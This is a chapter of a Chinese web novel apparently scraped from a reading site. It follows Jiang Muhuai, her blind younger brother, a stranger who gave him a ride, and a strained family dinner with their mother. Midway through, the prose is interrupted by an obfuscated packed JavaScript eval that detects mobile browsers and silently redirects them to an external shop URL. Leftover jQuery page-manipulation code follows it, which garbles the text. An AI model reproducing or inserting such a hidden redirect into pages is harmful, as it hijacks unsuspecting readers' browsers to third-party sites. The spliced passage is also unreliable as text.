文趣网 > 其他小说 > 旧色银河 > 5. Chapter 5
    姜目淮结束今天的工作回到家时才刚过十二点,推开门,姜北澈正坐在沙发上悠闲地听着广播。

    门口的机械女声报了两遍“欢迎回家”,姜目淮还没换好家居鞋,客厅的人已经关了收音机站起身。

    “心情这么好,谈妥了?”她随口一问。

    “是,就差签合同了。”姜北澈扬起一个大大的笑容,语气里满是骄傲,“社长说我这项翻译工作很有意义。”

    “那当然了。”姜目淮走过去像小时候一样揉揉他的头发,“什么时候签合同?”

    “具体时间还没定,不过应该快了。”姜北澈伸手,示意她搭上。那股藏都藏不住的兴奋,一看就不止这一件事要说。姜目淮重新扶着他坐回沙发,开口道:“今天是不是还遇到别的事情了?”

    “嗯,一件特别幸运的事。”姜北澈原本那双无神的眼睛此刻都显得熠熠生辉,甚至语调都比平时高亢,“姐,这世界上果然还是好人多。”

    姜目淮轻笑一声,接话:“能让你这么感慨,请问这个好人到底怎么帮助你的?”

    “主要还是我觉得和他特别有缘。”他开始娓娓道来,“我今天早上出门的时候一直打不到车,等了好久,都快到和社长约定的时间了。我本来想打个电话给社长,结果这时候突然有个男人走过来问我需要帮忙吗。”

    “我想着这忙也不好帮吧,就说不用了。但他心肠实在太好了,我拒绝后还问我是不是要去哪。”

    “我就报了个地址,请他帮忙看看附近有没有空出租车经过。结果你猜怎么着?”

    “嗯?怎么了?”姜目淮看他眉飞色舞的模样,调侃道,“总不能人家特地送你过去了吧。”

    “特地不是,但他还真把我送到出版社了!”姜北澈说,“这就是幸运的地方,这个好心人原来也是要去那附近。”

    “姐,你说巧不巧!”

    “确实巧,这么顺路的事在我们小区附近可不多见。”姜目淮之所以这么说,完全是考虑到他们所住小区的偏僻,离市中心繁华地段光坐地铁都得换乘三次。

    “所以啊,我今天真的走运。”姜北澈开始不遗余力地称赞那个男人,“虽然不知道他长什么样,但他肯定很有品味。车厢里没有烟味,而且他说话慢条斯理的,声音也让人觉得耳熟,还有他车厢里放的音乐,风格简直和你喜欢的如出一辙。”

    “是嘛,你现在这种心态应该叫……爱屋及乌?”

    “或许吧,反正有一种一见如故的感觉。”

    姜目淮难得听他说这么多话,难得看到他这么想和一个人交朋友,于是她问他:“那你有没有留一个他的联系方式?”

    “在我强烈要求下,留了。”姜北澈从口袋掏出手机递给她,“他说存在备忘录里了。”

    姜目淮点开,果然看见了一串数字:“我能打过去感谢一下他吗?”

    “好啊。”

    姜目淮笑了笑,随即拨通那个电话号码。漫长的一段嗡鸣过后,手机听筒里传来一句低沉平淡的“你好,哪位”。

    “你好……呃……我是你今天早上帮忙送去MH出版社的那个男生的姐姐。”她说,“抱歉打扰您了,但我弟弟真的很想感谢您的帮忙。您如果哪天有空的话,我们想请您吃顿饭可以吗?”

    “你好。”不过男人却说,“举手之劳而已。”

    他的声音听起来冷冷淡淡的,有一种拒人千里之外的感觉,但姜目淮此时此刻却莫名觉得熟悉。这种油然而生的熟悉感,可能是在她弟弟连连称赞下的加持,但终究没维持太久,因为电话那端传来了其他人的声音。

    男人说了句不用放在心上,之后便说忙先挂了。

    姜目淮把手机还给姜北澈:“好心人还真是个不求回报的人。”

    “没关系,有机会总会再见的,而且,我不是有他联系方式嘛。”

    “也是。”姜目淮起身看了眼干净的厨房,“那我去做饭了。”

    -

    姜北澈这天的兴奋一直持续到晚上,临睡前,他拦住姜目淮说有事要和她商量。

    不是什么大事,就是想把翻译合作谈妥的事情告诉他们妈妈赵梅。

    可却也不是无关紧要。

    姜目淮听完,一开始并没有说话。

    “姐……你要是介意我就不打了。”

    良久的沉默。

    “那我去睡了。”

    姜目淮从他踟蹰不前的脚步里读懂了他的期许,想了想,还是叫了声“小澈”。

    “想打给她你就打吧。”

    他不再是没有独立思考能力的小孩了,况且,他今天心情还这么好。

    “让她别带太多东西来。”

    “嗯!”姜北澈瞬间拿出手机,边拨通电话边对她说,“我知道你也担心她。”

    话音刚落,听筒里传来一声略带沙哑的醇厚声线:“小澈,这么晚打电话给妈妈有什么事吗?你姐姐不在家吗?”

    “妈。”姜北澈听着身侧渐行渐远的脚步,抿着唇,默默进了自己房间,“姐姐在家。”

    “在啊……那……她是睡觉了吗?”

    “还没。”姜北澈说,“电话是姐姐让我打的。我有一个好消息要告诉你,我那个翻译集可能要出版了。”

    “真的!哎哟,我就知道我们小澈肯定能行!你和你姐姐说了吗?”

    “说了。”

    “好好好,说了就好,也让她高兴高兴。”

    电话两端突然默契地沉寂下来。

    姜北澈坐在床沿,左手反复抠着睡裤上凸起的法兰绒小图案,犹豫片刻后还是开了口:“妈……明天要不然来城里一趟吧,我们三个一起庆祝庆祝。”

    赵梅没吭声。

    姜北澈继续说:“姐是同意的,她刚刚还让我叮嘱你别带太多东西来了,路上拎着沉。”

    “诶!好!妈不带别的,就把那养好的鸡杀了带只过去给你们煲汤喝。”赵梅把手里的彩灯零件放下,擦了擦手,声音明显比刚才雀跃,“妈明天早上就来。”

    姜北澈又叮嘱了她几句路上注意安全不要着急,挂断电话,还是走到姜目淮的卧室门前把对话原封不动转告给了她。

    姜目淮只说:“明天我有课,你让她自己路上注意安全。”

    -

    第二天满课,傍晚回家路上姜目淮已经累到快说不出话来了,手腕也酸。

    站在家门前,下意识整理了一下自己的头发和衣摆。门似乎留了道缝,没关紧。轻轻一推,瞬间就听见赵梅和姜北澈的谈话声。

    还没来得及开口,听力敏锐的姜北澈已经从厨房走出来。

    “小澈。”叫完,下一秒便看见了赵梅。

    其实仔细想想,她们有近半年没见过面了。仿佛一眨眼的功夫,可她看起来却比先前消瘦不少。

    姜目淮喊了声妈。

    原本赵梅还紧紧捏着砂锅盖一脸无措,听见这个久违的称呼,整个人突然像找到了话题宣泄口:“阿淮,累不累?你先去客厅看会儿电视,妈给你和弟弟煲鸡汤喝呢。今天早上现杀的,可新鲜了。”

    “好。”<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721490|208681||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>姜目淮是真的需要休息一下,站了一天讲台,现在仿佛一个被生锈螺钉强行固定住的木偶,连屈膝都成了一种困难。

    很累,累到没心情想没心情计较。

    她转过头,目光随意扫了眼厨房玻璃倒映出的两道身影。

    等姜北澈喊她吃饭时,她才惊觉自己竟在沙发上打了个盹。

    而距离回家,已经过去一个小时。

    浓郁的鸡汤香味充斥整个客厅,赵梅站在餐桌前,正拿着她的碗精挑细选。

    “阿淮,都是你爱吃的。”

    姜目淮拉开椅子坐下,接过那盛满鸡肉和汤的碗,吹凉后,轻轻喝了一口:“味道刚好。”

    “还是妈煲的汤最好喝。”姜北澈立马接话,“妈,你赶紧给自己盛吧。”

    赵梅眼角含笑,频繁看了姜目淮好几眼才坐下。

    对面期待的目光,姜目淮自然感觉得到。她也明白她妈的心思,只是她又极其厌恶这种试探与讨好。一举一动,仿佛都要在她的许可下才能做。

    永远活在别人眼色里。

    “阿淮。”赵梅终究是开了口,“小澈今天和我讲了他那些童话集出版的事,你到时候会和他一起去签合同吗?”

    “嗯。”

    “那就好,那就好。”像是没话找话,“今天上一天班很辛苦哦。”

    姜目淮低头喝着汤匙里的鲜汤,敷衍地又嗯了一声。

    “妈。”姜北澈试图打破尴尬,“你别光顾着问我们怎么样,你说说自己呗,最近那个人没做什么出格的事吧?”

    “他啊……最近挺安分的。”赵梅偷偷瞟了姜目淮一眼,没敢当着她的面称那个人为你爸。

    可不说,她又不是傻子听不明白。碗里的汤似乎泛起一层油光,味道,相比于先前略差一筹。

    索性不喝了。

    “真安分假安分?你知道的,我最讨厌你帮他说话。”

    “真的,妈不骗你。”赵梅显然有点慌,“其实我也好几个月没看见他了,也没听他惹出什么事。阿淮,妈不骗你。”

    “你看看你自己瘦成什么德性了。”

    “真和他没关系。妈就是这段时间收了些手工活做做,有时候累了就没什么胃口。”

    “给你的生活费呢?”

    “存起来了。”

    “存起来给谁?那就是给你吃饭用的。”

    “我…我不是怕…给你增加负担吗。”赵梅用手背搓了把眼睛,“那笔钱还了他的债,你——”她叹了口气,又说:“我不说了,不提那些。阿淮,你别担心我。”

    姜目淮只觉胸口堵了一大团郁气,气她妈总这样又气自己根本没法解决这些问题。

    餐桌,三个人后半程安安静静吃完了饭。

    姜目淮感觉自己有些消化不良,从冰箱拿了瓶酸奶,默默回了卧室。

    小区此刻也是格外寂静,昏黄的路灯下,只有流浪小猫偶尔经过。

    她想,到底是有家好还是没有家好啊?

    为什么,人生总有各种解不完的课题?亲情,爱情,复杂又难搞,却还要一遍遍循环往复。

    好累啊。

    她看着楼下那只正窝在绿色草地里的橘色流浪猫,眼睛开始发酸。

    视线越来越模糊,眼底晕出一个光圈,光圈里,突然出现一道颀长的身影。

    陆霁英?

    姜目淮难以置信地用手擦拭眼泪,急忙寻找着刚才那道看不真切的身影。可视线清晰了,却发现楼下哪有什么人。

    怎么可能是陆霁英。